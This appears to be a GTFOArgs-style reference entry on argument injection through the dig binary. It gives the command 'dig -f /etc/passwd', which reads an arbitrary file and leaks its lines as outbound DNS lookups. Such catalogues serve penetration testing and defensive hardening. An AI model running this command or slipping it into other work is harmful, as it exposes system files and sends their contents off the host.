Argument injection via dig
dig dig Sandbox: execFile · Timeout: 30s
system.file.read Read an arbitrary file by specifying it as a batch file. Note that this will leak lines of the file read as outbound DNS lookups.
dig -f /etc/passwd GTFOArgs entry for dig. This binary can be used to inject arguments for execution, file operations, or other capabilities.